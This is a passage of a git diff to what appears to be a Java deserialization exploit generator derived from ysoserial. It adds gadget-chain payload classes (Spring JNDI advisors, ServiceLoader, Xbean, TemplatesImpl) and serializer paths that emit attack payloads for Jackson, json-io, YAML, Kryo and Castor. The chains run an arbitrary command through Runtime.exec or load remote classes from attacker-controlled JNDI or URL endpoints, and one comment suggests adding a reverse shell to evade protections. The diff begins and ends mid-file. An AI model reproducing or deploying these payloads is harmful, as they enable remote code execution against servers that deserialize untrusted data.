makeToStringTrigger(qName); + } + + public static Object makeToStringTrigger ( Object o ) throws Exception { + String unhash = unhash(o.hashCode()); + XString xString = new XString(unhash); + return JDKUtil.makeMap(o, xString); + } + + public static String unhash ( int hash ) { + int target = hash; + StringBuilder answer = new StringBuilder(); + if ( target < 0 ) { + // String with hash of Integer.MIN_VALUE, 0x80000000 + answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002"); + + if ( target == Integer.MIN_VALUE ) + return answer.toString(); + // Find target without sign bit set + target = target & Integer.MAX_VALUE; + } + + unhash0(answer, target); + return answer.toString(); + } + + private static void unhash0 ( StringBuilder partial, int target ) { + int div = target / 31; + int rem = target % 31; + + if ( div <= Character.MAX_VALUE ) { + if ( div != 0 ) + partial.append((char) div); + partial.append((char) rem); + } + else { + unhash0(partial, div); + partial.append((char) rem); + } + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ServiceLoader.java b/src/main/java/com/qi4l/JYso/gadgets/ServiceLoader.java new file mode 100644 index 0000000..2f97f85 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/ServiceLoader.java @@ -0,0 +1,16 @@ +package com.qi4l.JYso.gadgets; + +import javax.script.ScriptEngineFactory; + +public class ServiceLoader implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + UtilFactory uf = new UtilFactory(); + String args[] = {command}; + + return makeServiceLoader(uf, args); + } + public static Object makeServiceLoader ( UtilFactory uf, String[] args ) throws Exception { + return uf.makeIteratorTrigger(JDKUtil.makeServiceIterator(JDKUtil.makeURLClassLoader(args[0]), ScriptEngineFactory.class)); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/SpringAbstractBeanFactoryPointcutAdvisor.java b/src/main/java/com/qi4l/JYso/gadgets/SpringAbstractBeanFactoryPointcutAdvisor.java new file mode 100644 index 0000000..499c07c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/SpringAbstractBeanFactoryPointcutAdvisor.java @@ -0,0 +1,34 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.logging.impl.NoOpLog; +import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; +import org.springframework.beans.factory.BeanFactory; +import org.springframework.jndi.support.SimpleJndiBeanFactory; + +public class SpringAbstractBeanFactoryPointcutAdvisor implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + return makeBeanFactoryPointcutAdvisor(command); + } + public Object makeBeanFactoryPointcutAdvisor (String args ) throws Exception { + String jndiUrl = args; + UtilFactory uf = new UtilFactory(); + BeanFactory bf = makeJNDITrigger(jndiUrl); + return makeBeanFactoryTriggerBFPA(uf,jndiUrl, bf); + } + + public static Object makeBeanFactoryTriggerBFPA (UtilFactory uf,String name, BeanFactory bf ) throws Exception { + DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor(); + pcadv.setBeanFactory(bf); + pcadv.setAdviceBeanName(name); + return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor()); + } + public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception { + SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); + bf.setShareableResources(jndiUrl); + Reflections.setFieldValue(bf, "logger", new NoOpLog()); + Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); + return bf; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/SpringPartiallyComparableAdvisorHolder.java b/src/main/java/com/qi4l/JYso/gadgets/SpringPartiallyComparableAdvisorHolder.java new file mode 100644 index 0000000..f9d4cf5 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/SpringPartiallyComparableAdvisorHolder.java @@ -0,0 +1,58 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.logging.impl.NoOpLog; +import org.springframework.aop.aspectj.AbstractAspectJAdvice; +import org.springframework.aop.aspectj.AspectInstanceFactory; +import org.springframework.aop.aspectj.AspectJAroundAdvice; +import org.springframework.aop.aspectj.AspectJPointcutAdvisor; +import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory; +import org.springframework.beans.factory.BeanFactory; +import org.springframework.jndi.support.SimpleJndiBeanFactory; + +import java.lang.reflect.InvocationTargetException; + +public class SpringPartiallyComparableAdvisorHolder implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + return makePartiallyComparableAdvisorHolder(command); + } + public Object makePartiallyComparableAdvisorHolder (String args ) throws Exception { + String jndiUrl = args; + UtilFactory uf = new UtilFactory(); + BeanFactory bf = makeJNDITrigger(jndiUrl); + return makeBeanFactoryTriggerPCAH(uf, jndiUrl, bf); + } + public static BeanFactory makeJNDITrigger (String jndiUrl ) throws Exception { + SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); + bf.setShareableResources(jndiUrl); + Reflections.setFieldValue(bf, "logger", new NoOpLog()); + Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); + return bf; + } + + public static Object makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf ) throws ClassNotFoundException, + NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception { + AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); + Reflections.setFieldValue(aif, "beanFactory", bf); + Reflections.setFieldValue(aif, "name", name); + AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class); + Reflections.setFieldValue(advice, "aspectInstanceFactory", aif); + + // make readObject happy if it is called + Reflections.setFieldValue(advice, "declaringClass", Object.class); + Reflections.setFieldValue(advice, "methodName", "toString"); + Reflections.setFieldValue(advice, "parameterTypes", new Class[0]); + + AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class); + Reflections.setFieldValue(advisor, "advice", advice); + + Class pcahCl = Class + .forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder"); + Object pcah = Reflections.createWithoutConstructor(pcahCl); + Reflections.setFieldValue(pcah, "advisor", advisor); + return uf.makeToStringTriggerUnstable(pcah); + } + + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/SpringPropertyPathFactory.java b/src/main/java/com/qi4l/JYso/gadgets/SpringPropertyPathFactory.java new file mode 100644 index 0000000..dce523c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/SpringPropertyPathFactory.java @@ -0,0 +1,23 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.logging.impl.NoOpLog; +import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; +import org.springframework.beans.factory.BeanFactory; +import org.springframework.beans.factory.config.PropertyPathFactoryBean; +import org.springframework.jndi.support.SimpleJndiBeanFactory; + +public class SpringPropertyPathFactory implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + String jndiUrl = command; + BeanFactory bf = SpringUtil.makeJNDITrigger(jndiUrl); + + PropertyPathFactoryBean ppf = new PropertyPathFactoryBean(); + ppf.setTargetBeanName(jndiUrl); + ppf.setPropertyPath("foo"); + + Reflections.setFieldValue(ppf, "beanFactory", bf); + return ppf; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/SpringUtil.java b/src/main/java/com/qi4l/JYso/gadgets/SpringUtil.java new file mode 100644 index 0000000..9f06f82 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/SpringUtil.java @@ -0,0 +1,107 @@ +package com.qi4l.JYso.gadgets; + + +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.logging.impl.NoOpLog; +import org.springframework.aop.aspectj.AbstractAspectJAdvice; +import org.springframework.aop.aspectj.AspectInstanceFactory; +import org.springframework.aop.aspectj.AspectJAroundAdvice; +import org.springframework.aop.aspectj.AspectJPointcutAdvisor; +import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory; +import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; +import org.springframework.beans.factory.BeanFactory; +import org.springframework.beans.factory.support.DefaultListableBeanFactory; +import org.springframework.beans.factory.support.RootBeanDefinition; +import org.springframework.jndi.support.SimpleJndiBeanFactory; + +import java.lang.reflect.InvocationTargetException; +import java.util.HashSet; +import java.util.Map; + + +/** + * @author mbechler + * + */ +public final class SpringUtil { + + /** + * + */ + private SpringUtil() {} + + + public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception { + SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); + bf.setShareableResources(jndiUrl); + Reflections.setFieldValue(bf, "logger", new NoOpLog()); + Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); + return bf; + } + + + public static BeanFactory makeMethodTrigger ( Object o, String method ) throws Exception { + DefaultListableBeanFactory bf = new DefaultListableBeanFactory(); + RootBeanDefinition caller = new RootBeanDefinition(); + + caller.setFactoryBeanName("obj"); + caller.setFactoryMethodName(method); + Reflections.setFieldValue(caller.getMethodOverrides(), "overrides", new HashSet<>()); + bf.registerBeanDefinition("caller", caller); + + Reflections.getField(DefaultListableBeanFactory.class, "beanClassLoader").set(bf, null); + Reflections.getField(DefaultListableBeanFactory.class, "alreadyCreated").set(bf, new HashSet<>()); + Reflections.getField(DefaultListableBeanFactory.class, "singletonsCurrentlyInCreation").set(bf, new HashSet<>()); + Reflections.getField(DefaultListableBeanFactory.class, "inCreationCheckExclusions").set(bf, new HashSet<>()); + Reflections.getField(DefaultListableBeanFactory.class, "logger").set(bf, new NoOpLog()); + Reflections.getField(DefaultListableBeanFactory.class, "prototypesCurrentlyInCreation").set(bf, new ThreadLocal<>()); + + @SuppressWarnings ( "unchecked" ) + Map objs = (Map) Reflections.getFieldValue(bf, "singletonObjects"); + objs.put("obj", o); + return bf; + } + + + public static Object makeBeanFactoryTriggerBFPA ( UtilFactory uf, String name, BeanFactory bf ) throws Exception { + DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor(); + pcadv.setBeanFactory(bf); + pcadv.setAdviceBeanName(name); + return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor()); + } + + + /** + * @param jndiUrl + * @param bf + * @return + * @throws ClassNotFoundException + * @throws NoSuchMethodException + * @throws InstantiationException + * @throws IllegalAccessException + * @throws InvocationTargetException + * @throws Exception + */ + public static Object makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf ) throws ClassNotFoundException, + NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception { + AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); + Reflections.setFieldValue(aif, "beanFactory", bf); + Reflections.setFieldValue(aif, "name", name); + AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class); + Reflections.setFieldValue(advice, "aspectInstanceFactory", aif); + + // make readObject happy if it is called + Reflections.setFieldValue(advice, "declaringClass", Object.class); + Reflections.setFieldValue(advice, "methodName", "toString"); + Reflections.setFieldValue(advice, "parameterTypes", new Class[0]); + + AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class); + Reflections.setFieldValue(advisor, "advice", advice); + + Class pcahCl = Class + .forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder"); + Object pcah = Reflections.createWithoutConstructor(pcahCl); + Reflections.setFieldValue(pcah, "advisor", advisor); + return uf.makeToStringTriggerUnstable(pcah); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/TemplatesUtil.java b/src/main/java/com/qi4l/JYso/gadgets/TemplatesUtil.java new file mode 100644 index 0000000..e71d6fb --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/TemplatesUtil.java @@ -0,0 +1,110 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.ClassFiles; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + +import java.io.Serializable; + +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + +public class TemplatesUtil { + static { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + // for RMI remote loading + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); + } + + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + + public static class StubTransletPayload extends AbstractTranslet implements Serializable { + + private static final long serialVersionUID = -5971610431559700674L; + + + @Override + public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {} + + + @Override + public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} + } + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + + private static final long serialVersionUID = 8207363842866235160L; + } + + + public static Object createTemplatesImpl ( final String[] args ) throws Exception { + if ( Boolean.parseBoolean(System.getProperty("upstreamXalan", "false")) ) { + return createTemplatesImpl( + args, + Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), + Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), + Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); + } + + return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); + } + + + public static T createTemplatesImpl ( final String[] args, Class tplClass, Class abstTranslet, Class transFactory ) + throws Exception { + final T templates = tplClass.newInstance(); + + // use template gadget class + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); + pool.insertClassPath(new ClassClassPath(abstTranslet)); + final CtClass clazz = pool.get(StubTransletPayload.class.getName()); + // run command in static initializer + // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections + + StringBuilder sb = new StringBuilder(); + boolean first = true; + for ( String arg : args ) { + + if ( !first ) { + sb.append(','); + } + else { + first = false; + } + + sb.append('"'); + sb.append(arg.replaceAll("\"", "\\\"")); + sb.append('"'); + } + + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(new String[] { " + sb.toString() + " });"); + // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) + clazz.setName("ysoserial.Pwner" + System.nanoTime()); + CtClass superC = pool.get(abstTranslet.getName()); + clazz.setSuperclass(superC); + + final byte[] classBytes = clazz.toBytecode(); + + // inject class bytes into instance + Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { + classBytes, ClassFiles.classAsBytes(Foo.class) + }); + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "Pwnr"); + Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); + return templates; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ToStringUtil.java b/src/main/java/com/qi4l/JYso/gadgets/ToStringUtil.java new file mode 100644 index 0000000..ff49ab5 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/ToStringUtil.java @@ -0,0 +1,79 @@ +package com.qi4l.JYso.gadgets; + +import com.sun.org.apache.xpath.internal.objects.XString; +import org.springframework.aop.target.HotSwappableTargetSource; + +import java.lang.reflect.Constructor; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; +import java.util.function.Function; + +public class ToStringUtil { + + public static Object makeToStringTrigger ( Object o, Function wrap ) throws Exception { + String unhash = unhash(o.hashCode()); + XString xString = new XString(unhash); + return JDKUtil.makeMap(wrap.apply(o), wrap.apply(xString)); + } + + + public static Object makeToStringTrigger ( Object o ) throws Exception { + String unhash = unhash(o.hashCode()); + XString xString = new XString(unhash); + return JDKUtil.makeMap(o, xString); + } + + + public static Object makeJohnzonToStringTrigger ( Object o ) throws Exception { + Class clz = Class.forName("org.apache.johnzon.core.JsonObjectImpl"); //$NON-NLS-1$ + Constructor dec = clz.getDeclaredConstructor(Map.class); + dec.setAccessible(true); + HashMap m = new HashMap<>(); + Object jo = dec.newInstance(m); + m.put(o, o); + XString toStringTrig = new XString(""); + return Arrays.asList(jo, JDKUtil.makeMap(jo, toStringTrig)); + } + + + public static Object makeSpringAOPToStringTrigger ( Object o ) throws Exception { + return makeToStringTrigger(o, x -> { + return new HotSwappableTargetSource(x); + }); + } + + + public static String unhash ( int hash ) { + int target = hash; + StringBuilder answer = new StringBuilder(); + if ( target < 0 ) { + // String with hash of Integer.MIN_VALUE, 0x80000000 + answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002"); + + if ( target == Integer.MIN_VALUE ) + return answer.toString(); + // Find target without sign bit set + target = target & Integer.MAX_VALUE; + } + + unhash0(answer, target); + return answer.toString(); + } + + + private static void unhash0 ( StringBuilder partial, int target ) { + int div = target / 31; + int rem = target % 31; + + if ( div <= Character.MAX_VALUE ) { + if ( div != 0 ) + partial.append((char) div); + partial.append((char) rem); + } + else { + unhash0(partial, div); + partial.append((char) rem); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/UtilFactory.java b/src/main/java/com/qi4l/JYso/gadgets/UtilFactory.java new file mode 100644 index 0000000..6dcee1e --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/UtilFactory.java @@ -0,0 +1,31 @@ +package com.qi4l.JYso.gadgets; + +import java.util.Comparator; + +public class UtilFactory { + + // 实现接口中的所有方法 + public Object makeHashCodeTrigger(Object o1) throws Exception { + return JDKUtil.makeMap(o1, o1); + } + + public Object makeEqualsTrigger(Object tgt, Object sameHash) throws Exception { + return JDKUtil.makeMap(tgt, sameHash); + } + + public Object makeToStringTriggerUnstable ( Object obj ) throws Exception { + return ToStringUtil.makeSpringAOPToStringTrigger(obj); + } + + public Object makeToStringTriggerStable(Object obj) throws Exception { + return ToStringUtil.makeToStringTrigger(obj); + } + + public Object makeIteratorTrigger(Object it) throws Exception { + return JDKUtil.makeIteratorTriggerNative(this, it); + } + + public Object makeComparatorTrigger(Object tgt, Comparator cmp) throws Exception { + return JDKUtil.makeTreeMap(tgt, cmp); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Xbean.java b/src/main/java/com/qi4l/JYso/gadgets/Xbean.java new file mode 100644 index 0000000..cf0f7c2 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Xbean.java @@ -0,0 +1,24 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding; +import org.apache.xbean.naming.context.WritableContext; + +import javax.naming.Context; +import javax.naming.Reference; +import java.net.URI; + +public class Xbean implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + //需要处理command + UtilFactory uf = new UtilFactory(); + Context ctx = Reflections.createWithoutConstructor(WritableContext.class); + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + Reference ref = new Reference("foo", args[1], args[0]); + ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, ctx); + return uf.makeToStringTriggerUnstable(binding); // $NON-NLS-1$ + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java index ea87495..f2d7120 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java @@ -337,4 +337,4 @@ public class Gadgets extends ClassLoader { Reflections.setFieldValue(hashMap, "table", arr); return hashMap; } -} +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java index d221583..73ca9ee 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java @@ -1,21 +1,37 @@ package com.qi4l.JYso.gadgets.utils; -import com.caucho.hessian.io.*; -import com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream; -import com.thoughtworks.xstream.XStream; -import java.util.Base64; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.io.ObjectOutputStream; -import java.io.OutputStream; +import com.caucho.hessian.io.*; +import com.cedarsoftware.util.io.JsonWriter; +import com.esotericsoftware.kryo.Kryo; +import com.esotericsoftware.kryo.io.Output; +import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; +import com.qi4l.JYso.gadgets.*; +import com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream; +import com.rometools.rome.feed.impl.EqualsBean; +import com.rometools.rome.feed.impl.ToStringBean; +import com.sun.rowset.JdbcRowSetImpl; +import com.thoughtworks.xstream.XStream; +import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; +import org.springframework.beans.factory.config.PropertyPathFactoryBean; +import org.springframework.jndi.support.SimpleJndiBeanFactory; + +import java.io.*; +import java.lang.reflect.InvocationTargetException; +import java.net.URI; +import java.net.URISyntaxException; +import java.util.*; import java.util.concurrent.Callable; +import javax.xml.transform.Templates; + import static com.qi4l.JYso.gadgets.Config.Config.*; public class Serializer implements Callable { private final Object object; + public static Boolean globalinline = false; + public Serializer(Object object) { this.object = object; } @@ -35,12 +51,15 @@ public class Serializer implements Callable { return bytes; } - public static void qiserialize(Object obj, final OutputStream out) throws Exception { + + public static void qiserialize(Object obj, final OutputStream out,String payloadType,String Command) throws Exception { ObjectOutputStream objOut = null; AbstractHessianOutput AobjOut = null; - ByteArrayOutputStream outB64 = new ByteArrayOutputStream(); + ByteArrayOutputStream outB64 = new ByteArrayOutputStream(); - if (IS_UTF_Bypass) { + if (IS_DIRTY_IN_TC_RESET) { + objOut = new SuObjectOutputStream(out); + } else if (IS_UTF_Bypass) { if (BASE64) { objOut = new UTF8OverlongObjectOutputStream(outB64); } else { @@ -66,9 +85,55 @@ public class Serializer implements Callable { AobjOut.setSerializerFactory(sf); AobjOut.writeObject(obj); AobjOut.close(); - } else if (IS_XSTREAM) { - xStreamSerialize(obj); - } else { + } else if (IS_Xstream) { + XStream xstream = new XStream(); + String xml = xstream.toXML(obj); + System.out.println(xml); + } else if (IS_Kryo) { + Kryo kryo = new Kryo(); + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + try (Output output = new Output(bos)) { + kryo.writeClassAndObject(output, obj); + } + if(BASE64){ + String base64String = Base64.getEncoder().encodeToString(bos.toByteArray()); + System.out.println(base64String); + return; + }else{ + System.out.println(bos); + return; + } + } else if (IS_JsonIO){ + if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")) { + UtilFactory uf = new UtilFactory(); + obj = SpringUtil.makeBeanFactoryTriggerBFPA(uf, "caller", SpringUtil.makeMethodTrigger(new ProcessBuilder(Command), "start")); + System.out.println(obj); + return; + }else if (payloadType.equals("Rome")){ + obj = makeRome(Command); + System.out.println(obj); + return; + } + String jsonio = JsonWriter.objectToJson(obj); + System.out.println(jsonio); + return; + } else if (IS_YamlBeans){ + obj = YamlBeansHandler(payloadType,Command); + System.out.println(obj); + return; + } else if (IS_JYAML) { + String payload = JYamlHandler(payloadType,Command); + System.out.println(payload); + return; + } else if (IS_Castor) { + obj = CastorHandler(payloadType,Command); + System.out.println(obj); + return; + }else if (IS_Jackson){ + obj = JacksonHandler(payloadType,Command); + System.out.println(obj); + return; + }else { if (BASE64) { objOut = new SuObjectOutputStream(outB64); } else { @@ -78,8 +143,6 @@ public class Serializer implements Callable { if (IS_Hessian1 || IS_Hessian2) { AobjOut.writeObject(obj); - } else if (IS_XSTREAM){ - return; } else { objOut.writeObject(obj); } @@ -88,19 +151,127 @@ public class Serializer implements Callable { String encodedString = Base64.getEncoder().encodeToString(outB64.toByteArray()); System.out.println(encodedString); } - } public byte[] call() throws Exception { return serialize(object); } - public static void xStreamSerialize(Object payload) { - XStream xstream = new XStream(); - String xml = xstream.toXML(payload); - System.out.println(xml); + public static Object makeRome(String Command) throws Exception { + UtilFactory uf = new UtilFactory(); + String args[] = {Command}; + Object tpl = TemplatesUtil.createTemplatesImpl(args); + Object obj1 = makeROMEAllPropertyTrigger(uf, Templates.class, (Templates) tpl); + String marshalled = JsonWriter.objectToJson(obj1); + // add the transient _tfactory field + marshalled = marshalled.replace( + "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",", + "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_tfactory\"" + + ": {\"@type\" : \"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\"},"); + return marshalled; } + public static Object makeROMEAllPropertyTrigger(UtilFactory uf, Class type, T obj) throws Exception { + ToStringBean item = new ToStringBean(type, obj); + EqualsBean root = new EqualsBean(ToStringBean.class, item); + return uf.makeHashCodeTrigger(root); + } + + public static Object YamlBeansHandler(String payloadType, String command ) throws IOException, URISyntaxException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { + globalinline = true; + if(payloadType.equals("C3P0WrapperConnPool")) { + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + return writeObject( + WrapperConnectionPoolDataSource.class, + Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1])))); + }else{ + return null; + } + } + + public static Object JacksonHandler(String payloadType, String command) throws Exception { + if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")){ + String jndiUrl = command; + Map values = new LinkedHashMap<>(); + values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl)); + values.put("adviceBeanName", quoteString(jndiUrl)); + return writeCollection( + HashSet.class.getName(), + writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, values), + writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, Collections.EMPTY_MAP)); + }else if (payloadType.equals("C3P0WrapperConnPool")){ + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + return writeJackJsonObject( + WrapperConnectionPoolDataSource.class, + Collections.singletonMap("userOverridesAsString", quoteString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[ 0 ], args[ 1 ])))); + }else if (payloadType.equals("SpringPropertyPathFactory")){ + Map values = new LinkedHashMap<>(); + String jndiUrl = command; + values.put("targetBeanName", quoteString(jndiUrl)); + values.put("propertyPath", quoteString("foo")); + values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl)); + return writeJackJsonObject(PropertyPathFactoryBean.class, values); + }else if (payloadType.equals("JdbcRowSet")){ + Map values = new LinkedHashMap<>(); + values.put("dataSourceName", quoteString(command)); + values.put("autoCommit", "true"); + return writeJackJsonObject(JdbcRowSetImpl.class, values); + }else if (payloadType.equals("C3P0RefDataSource")){ + Map values = new LinkedHashMap<>(); + values.put("jndiName", quoteString(command)); + values.put("loginTimeout", "0"); + return writeJackJsonObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", values); + }else{ + return null; + } + } + + + public static String JYamlHandler(String payloadType, String command) throws URISyntaxException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { + if (payloadType.equals("JdbcRowSet")) { + Map properties = new LinkedHashMap<>(); + properties.put("dataSourceName", writeString(command)); + properties.put("autoCommit", "true"); + return writeObject(JdbcRowSetImpl.class, properties); + } else if (payloadType.equals("C3P0WrapperConnPool")) { + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + return writeObject( + WrapperConnectionPoolDataSource.class, + Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[ 0 ], args[ 1 ])))); + } else if (payloadType.equals("C3P0RefDataSource")) { + Map props = new LinkedHashMap<>(); + props.put("jndiName", writeString(command)); + props.put("loginTimeout", "0"); + return writeObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", props); + } + else { + return null; + } + } + + public static Object CastorHandler(String payloadType, String command) throws URISyntaxException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { + if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")){ + String jndiName = command; + return "" + + "" + jndiName + "foo" + + "" + "" + jndiName + + ""; + }else if (payloadType.equals("C3P0WrapperConnPool")){ + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + return ""; + }else{ + return null; + } + } + + public static class SuObjectOutputStream extends ObjectOutputStream { public SuObjectOutputStream(OutputStream out) throws IOException { @@ -129,7 +300,7 @@ public class Serializer implements Callable { * @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class) */ @Override - public com.caucho.hessian.io.Serializer getObjectSerializer(Class cl) throws HessianProtocolException { + public com.caucho.hessian.io.Serializer getObjectSerializer (Class cl ) throws HessianProtocolException { return super.getObjectSerializer(cl); } @@ -139,14 +310,141 @@ public class Serializer implements Callable { * @see 